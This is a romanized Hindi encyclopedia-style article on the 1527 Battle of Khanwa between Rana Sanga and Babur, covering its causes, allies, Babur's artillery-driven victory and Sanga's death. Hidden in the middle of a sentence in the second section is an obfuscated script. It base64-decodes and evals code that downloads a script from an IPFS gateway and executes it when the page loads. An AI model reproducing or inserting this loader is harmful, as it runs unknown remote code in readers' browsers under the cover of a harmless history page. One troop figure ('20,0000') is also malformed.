खानवा का युद्ध

khanava ka yuddh 'bharatiy itihas' mean kafi mahattvapoorn hai. yah yuddh 17 march, 1527 ee. mean rajapoot naresh rana saanga aur mugal badashah babar ke madhy l da gaya tha. is yuddh mean saanga ki har huee aur sampoorn bharat mean hindoo rajy ki sthapana karane ka usaka sapana toot gaya. is yuddh ke karanoan ke vishay mean itihasakaroan ke anek mat haian. rajasthan ke aitihasik kavy 'vir vinod' mean saanga aur babar ke is yuddh ka vistarapoorvak varnan kiya gaya hai. 'khanava ki l daee' se dilli-agara mean babar ki sthiti sudridh ho gee thi. agara ke poorv mean gvaliyar aur dhaulapur jaise qiloan ki shriankhala jit kar babar ne apani sthiti aur bhi mazaboot kar li thi.

rana saanga ki soch

'khanava' namak sthan rajasthan mean bharatapur ke nikat ek gram hai, jo phatehapur sikari se 10 mil (lagabhag 16 ki.mi.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> uttar-pashchim mean sthit hai. uttari bharat mean dilli ke sultan ke bad sabase adhik shaktishali shasak chittau d ka rajapoot naresh rana saanga (sangram sianh) tha. usane do muslimoan- ibrahim lodi aur babar ke yuddh mean tatasthata ki niti apanayi. saanga ka vichar tha ki babar loot-mar karake vapas chala jayega, tab lodi shasan ko hata dilli mean hindoo rajy ka use suyog prapt ho jayega. kiantu jab saanga ne dekha ki babar ab bharat mean mugal samrajy ki sthapana ka ayojan kar raha hai, tab vah usase yuddh karane ke lie taiyar hua. rana saanga vir aur kushal senani tha. vah anek yuddh kar chuka tha. adhikaansh yuddhoan mean use vijay prapt huee thi. udhar babar ne bhi samajh liya tha ki rana saanga ke rahate hue bharat mean mugal rajy ki sthapana karana sambhav nahian haian. at: usane bhi apani sena ke sath rana se yuddh karane ka nishchay kiya.

yuddh ke sambhavit karan

17 march, 1527 ee. mean 'khanava ka yuddh' babar aur rana saanga ke bich l da gaya. is yuddh ke karanoan ke vishay mean itihasakaroan ke anek mat haian-

1. chooanki panipat ke yuddh ke poorv babar evan rana saanga mean hue samajhaute ke tahat ibrahim lodi ke khilaf saanga ko babar ke sainy abhiyan mean sahayata karani thi, jisase rana saanga bad mean mukar gaya tha.
2. rana saanga babar ko dilli ka badashah nahian manata tha.

saanga ke sahayogi

uparyukt donoan karanoan se alag kuchh itihasakaroan ka manana hai ki yah yuddh babar evan rana saanga ki mahatvakaankshi yojanaoan ka parinam tha. babar sampoorn bharat ko rauandana chahata tha tatha rana saanga turk-afagan rajy ke khandaharoan ke avashesh par ek hindoo rajy ki sthapana karana chahata tha| parinamasvaroop donoan senaoan ke madhy 17 march, 1527 ee. ko yuddh arambh hua. is yuddh mean rana saanga ka sath marava d, ambar, gvaliyar, ajamer, hasan khaan mevati, basin chanderi evan ibrahim lodi ka bhaee mahamood lodi de rahe the.

babar dvara sainikoan ka utsahavardhan

is yuddh se pahale rana saanga ke sanyukt morche ki khabar se babar ke sainikoan ka manobal girane laga. tab babar ne apane sainikoan ke utsah ko badhane ke lie sharab pine aur bechane par pratibandh ki ghoshana kar sharab ke sabhi patroan ko tu dava kar sharab n pine ki kasam li. usane muslimoan se "tamaga kar" n lene ki ghoshana ki. tamaga ek prakar ka vyaparik kar tha, jise rajy dvara lagaya jata tha. is tarah 'khanava ke yuddh' mean bhi panipat yuddh ki rananiti ka upayog karate hue babar ne rana saanga ke viruddh ek saphal yuddh ki rananiti tay ki.

mugaloan ki vijay

rajasthan ke aitihasik kavy 'vir vinod' mean rana saanga aur babar ke is yuddh ka vistarapoorvak varnan kiya gaya hai ki babar 20,0000 mugal sainikoan ko lekar saanga se yuddh karane aya tha. usane saanga ki sena ke lodi senapati ko pralobhan diya, jisase vah saanga ko dhokha dekar sena sahit babar se ja mila. babar aur saanga ki pahali muthabhe d bayana mean aur doosari usake pas khanava namak sthan par huee. rajapootoan ne viratapoorvak yuddh kiya. lekin aant mean saanga ki har huee aur babar ki vijay. is vijay ka sabase b da karan babar ke sainikoan ki virata nahian, balki unaka adhunik topakhana tha.

babar ka kathan

rajapootoan se yuddh karate hue turkoan ke pair ukh d gaye, jisase rajapootoan ki vijay aur turkoan ki parajay dikhaee dene lagi thi, kiantu jab babar ke topakhane ne ag barasayi, tab saanga ki jiti bazi har mean badal gee. phir bhi saanga aur usake vir marate dam tak l date rahe. babar ne rajapootoan ke bare mean likha hai−

ve marana−marana to janate hai, kiantu yuddh karana nahian janate.

rana saanga ki mrityu

'khanava ke yuddh' mean rana saanga buri tarah ghayal hua, lekin kisi tarah apane sahayogiyoan dvara bacha liya gaya. kalantar mean apane kisi samant dvara hi zahar diye jane ke karan rana saanga ki mrityu ho gee. 'khanava ke yuddh' ko jitane ke bad babar ne "gazi" ki upadhi dharan ki. 'khanava ki l daee' se dilli-agara mean babar ki sthiti sudridh ho gee. agara ke poorv mean gvaliyar aur dhaulapur jaise qiloan ki shriankhala jit kar babar ne apani sthiti aur bhi mazaboot kar li. usane hasan khaan mevati se alavar ka bahut b da bhag bhi chhin liya. phir usane malava sthit chanderi ke medini ray ke viruddh abhiyan chhe da. rajapoot sainikoan dvara rakt ki aantim booand tak l dakar jauhar karane ke bad chanderi par babar ka rajy ho gaya. babar ko is kshetr mean apane abhiyan ko simit karana p da, kyoanki use poorvi uttar pradesh mean afaganoan ki halachal ki khabar mili.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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